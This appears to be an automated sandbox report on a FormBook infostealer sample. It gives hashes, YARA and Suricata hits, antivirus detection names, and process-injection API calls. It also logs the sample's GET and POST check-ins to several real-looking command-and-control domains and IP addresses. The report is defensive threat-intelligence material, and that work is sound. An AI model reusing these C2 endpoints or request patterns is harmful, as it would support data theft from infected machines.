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vbc.exe

Formbook NSIS UPX Malicious Library PE File PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us April 26, 2023, 6:06 p.m. April 26, 2023, 6:10 p.m.
Size 286.2KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 e5a5bcc3b19a3ff03d5643d1691678d1
SHA256 426c06ac810480970dbbd6cbfa2a6e9880ff50b35fd4576986400acce4af949f
CRC32 15512C87
ssdeep 6144:PYa6dQw62zIxLAN+i1oZO4eAkpXzS0mPUMOGXMypwmdF2jaNkn/T4J4d:PY/Qw62zIxM1eZOvAsKHNwwFCaG42d
Yara
  • UPX_Zero - UPX packed file
  • NSIS_Installer - Null Soft Installer
  • IsPE32 - (no description)
  • PE_Header_Zero - PE File Signature
  • Malicious_Library_Zero - Malicious_Library

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49172 -> 161.97.163.8:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.103:49184 -> 96.126.123.244:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 78.141.192.145:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.103:49178 -> 213.145.228.111:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.103:49187 -> 199.192.30.147:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.103:49181 -> 63.141.242.43:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 94.176.104.86:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 94.176.104.86:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 94.176.104.86:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49192 -> 85.187.128.34:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49192 -> 85.187.128.34:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49192 -> 85.187.128.34:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49189 -> 199.192.30.147:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49189 -> 199.192.30.147:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49189 -> 199.192.30.147:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49189 -> 199.192.30.147:80 2031088 ET HUNTING Request to .XYZ Domain with Minimal Headers Potentially Bad Traffic
TCP 192.168.56.103:49183 -> 63.141.242.43:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49183 -> 63.141.242.43:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49183 -> 63.141.242.43:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49190 -> 85.187.128.34:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.103:49186 -> 96.126.123.244:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49186 -> 96.126.123.244:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49186 -> 96.126.123.244:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49177 -> 91.195.240.94:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49177 -> 91.195.240.94:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49177 -> 91.195.240.94:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49180 -> 213.145.228.111:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49180 -> 213.145.228.111:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49180 -> 213.145.228.111:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49174 -> 161.97.163.8:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49174 -> 161.97.163.8:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49174 -> 161.97.163.8:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 78.141.192.145:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 78.141.192.145:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 78.141.192.145:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.white-hat.uk/u2kb/?bN=PXfMycAZpTAipct8YN0l/5TWhYE4yPgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTCgwye3M0h5ZtqacmtcmNe/sHow=&vuYmv=HiDvhwDDT1tM7q
suspicious_features GET method with no useragent header suspicious_request GET http://www.gritslab.com/u2kb/?bN=ydCzFiH7iMWnz6xHMKiyYVGDKfWH5+fYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNezbHZCh47jo+mhlV2uXG5eH60=&vuYmv=HiDvhwDDT1tM7q
suspicious_features GET method with no useragent header suspicious_request GET http://www.bitservicesltd.com/u2kb/?bN=rr+sOBvEXsBdGevUk44F/k+BAr88zC1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXz4UaWEmNABCelIWOCZ3yhH4Z4=&vuYmv=HiDvhwDDT1tM7q
suspicious_features GET method with no useragent header suspicious_request GET http://www.222ambking.org/u2kb/?bN=IEUpLmGg2fqLmrhwD8IHX/zhiiNjbOQDFcodV2ACJcW4bHSQscR3Nc4uRx31p3m0gGv03uToPch8hDrce1eNAdUBSmpSNalx6DQXGQo=&vuYmv=HiDvhwDDT1tM7q
suspicious_features GET method with no useragent header suspicious_request GET http://www.energyservicestation.com/u2kb/?bN=IK59b/MdFRha+CUVM3V2TqbXgrTjD6F66TLC1fPPNwLnZq29gpb1hRWNlrDr258EhEsSnFmalKQEmudxTrusBmUmj2xyJgahFTdaUmU=&vuYmv=HiDvhwDDT1tM7q
suspicious_features GET method with no useragent header suspicious_request GET http://www.younrock.com/u2kb/?bN=05tPwqSdqXO2xf32BmsnsHpgCfZIa2c80hhB3sQ3FFDNPs5AZDU6TyUQmX911UO6Ssjq2b6k9nBD4uDOZrqd7XHQTF+IIpbM/DoOhU4=&vuYmv=HiDvhwDDT1tM7q
suspicious_features GET method with no useragent header suspicious_request GET http://www.thewildphotographer.co.uk/u2kb/?bN=pn+zaWXo7szcfRSxp4kAcR5iap+7ulP+x3705F5u21IqvN9WG9kcDL2FxdXl2W/5MjovaUotkmG6JgF/Eyaa9PeBR2yUVivPQ+uGbEI=&vuYmv=HiDvhwDDT1tM7q
suspicious_features GET method with no useragent header suspicious_request GET http://www.shapshit.xyz/u2kb/?bN=Yd5Rzn4EVOpL1Cl/eY8jjeGdoEKZlYBpl8BtE0ZhlgLGbR5cH1Fn7sihS3XP3GCDon1xi4vL0lQ4XtydV6BMyXIOMzObAfzgUMU2ykM=&vuYmv=HiDvhwDDT1tM7q
suspicious_features GET method with no useragent header suspicious_request GET http://www.thedivinerudraksha.com/u2kb/?bN=im5SXjRwbJIZeY2yetpTdO7N29MJtck2UhYi2fNZ2Kf/X7lq2SPRiB6LR8y/FeM3y7tdA/WTtliq4uHTfapDkaA0PJ0fXInXaKlPglI=&vuYmv=HiDvhwDDT1tM7q
request GET http://www.white-hat.uk/u2kb/?bN=PXfMycAZpTAipct8YN0l/5TWhYE4yPgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTCgwye3M0h5ZtqacmtcmNe/sHow=&vuYmv=HiDvhwDDT1tM7q
request GET http://www.sqlite.org/2017/sqlite-dll-win32-x86-3210000.zip
request POST http://www.gritslab.com/u2kb/
request GET http://www.gritslab.com/u2kb/?bN=ydCzFiH7iMWnz6xHMKiyYVGDKfWH5+fYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNezbHZCh47jo+mhlV2uXG5eH60=&vuYmv=HiDvhwDDT1tM7q
request POST http://www.bitservicesltd.com/u2kb/
request GET http://www.bitservicesltd.com/u2kb/?bN=rr+sOBvEXsBdGevUk44F/k+BAr88zC1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXz4UaWEmNABCelIWOCZ3yhH4Z4=&vuYmv=HiDvhwDDT1tM7q
request POST http://www.222ambking.org/u2kb/
request GET http://www.222ambking.org/u2kb/?bN=IEUpLmGg2fqLmrhwD8IHX/zhiiNjbOQDFcodV2ACJcW4bHSQscR3Nc4uRx31p3m0gGv03uToPch8hDrce1eNAdUBSmpSNalx6DQXGQo=&vuYmv=HiDvhwDDT1tM7q
request POST http://www.energyservicestation.com/u2kb/
request GET http://www.energyservicestation.com/u2kb/?bN=IK59b/MdFRha+CUVM3V2TqbXgrTjD6F66TLC1fPPNwLnZq29gpb1hRWNlrDr258EhEsSnFmalKQEmudxTrusBmUmj2xyJgahFTdaUmU=&vuYmv=HiDvhwDDT1tM7q
request POST http://www.younrock.com/u2kb/
request GET http://www.younrock.com/u2kb/?bN=05tPwqSdqXO2xf32BmsnsHpgCfZIa2c80hhB3sQ3FFDNPs5AZDU6TyUQmX911UO6Ssjq2b6k9nBD4uDOZrqd7XHQTF+IIpbM/DoOhU4=&vuYmv=HiDvhwDDT1tM7q
request POST http://www.thewildphotographer.co.uk/u2kb/
request GET http://www.thewildphotographer.co.uk/u2kb/?bN=pn+zaWXo7szcfRSxp4kAcR5iap+7ulP+x3705F5u21IqvN9WG9kcDL2FxdXl2W/5MjovaUotkmG6JgF/Eyaa9PeBR2yUVivPQ+uGbEI=&vuYmv=HiDvhwDDT1tM7q
request POST http://www.shapshit.xyz/u2kb/
request GET http://www.shapshit.xyz/u2kb/?bN=Yd5Rzn4EVOpL1Cl/eY8jjeGdoEKZlYBpl8BtE0ZhlgLGbR5cH1Fn7sihS3XP3GCDon1xi4vL0lQ4XtydV6BMyXIOMzObAfzgUMU2ykM=&vuYmv=HiDvhwDDT1tM7q
request POST http://www.thedivinerudraksha.com/u2kb/
request GET http://www.thedivinerudraksha.com/u2kb/?bN=im5SXjRwbJIZeY2yetpTdO7N29MJtck2UhYi2fNZ2Kf/X7lq2SPRiB6LR8y/FeM3y7tdA/WTtliq4uHTfapDkaA0PJ0fXInXaKlPglI=&vuYmv=HiDvhwDDT1tM7q
request POST http://www.gritslab.com/u2kb/
request POST http://www.bitservicesltd.com/u2kb/
request POST http://www.222ambking.org/u2kb/
request POST http://www.energyservicestation.com/u2kb/
request POST http://www.younrock.com/u2kb/
request POST http://www.thewildphotographer.co.uk/u2kb/
request POST http://www.shapshit.xyz/u2kb/
request POST http://www.thedivinerudraksha.com/u2kb/
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c60000
allocation_type: 12289 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2128
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00810000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\thfyffhkn.exe
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Process injection Process 2072 called NtSetContextThread to modify thread in remote process 2128
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 1638384
registers.edi: 0
registers.eax: 4199136
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000000f0
process_identifier: 2128
1 0 0
Lionic Trojan.Win32.Agent.tshg
Elastic malicious (high confidence)
MicroWorld-eScan Gen:Variant.Nemesis.22096
FireEye Generic.mg.e5a5bcc3b19a3ff0
McAfee Artemis!E5A5BCC3B19A
Malwarebytes Trojan.Injector
VIPRE Gen:Variant.Nemesis.22096
Sangfor Suspicious.Win32.Save.ins
CrowdStrike win/malicious_confidence_100% (W)
Arcabit Trojan.Nemesis.D5650 [many]
BitDefenderTheta Gen:NN.ZexaF.36164.fuW@aiOb1ygi
Cyren W32/ABRisk.MZUH-6339
Symantec Packed.NSISPacker!g14
ESET-NOD32 a variant of Win32/Injector.ESXC
Cynet Malicious (score: 100)
APEX Malicious
Paloalto generic.ml
Kaspersky HEUR:Trojan-Spy.Win32.Noon.gen
BitDefender Gen:Variant.Nemesis.22096
Sophos Mal/Generic-S
F-Secure Heuristic.HEUR/AGEN.1318650
McAfee-GW-Edition BehavesLike.Win32.Trojan.dc
Trapmine malicious.moderate.ml.score
Emsisoft Gen:Variant.Nemesis.22096 (B)
SentinelOne Static AI - Suspicious PE
Avira HEUR/AGEN.1318650
MAX malware (ai score=82)
Gridinsoft Ransom.Win32.Sabsik.sa
Microsoft Trojan:Win32/Formbook!MTB
ZoneAlarm HEUR:Trojan-Spy.Win32.Noon.gen
GData Gen:Variant.Midie.124028
Google Detected
ALYac Trojan.NSISX.Spy.Gen.24
Cylance unsafe
Rising Trojan.VecStealer!8.180E7 (TFE:5:aNdk6AZeIdF)
Ikarus Trojan-Spy.FormBook
Fortinet W32/Injector.ESXB!tr
DeepInstinct MALICIOUS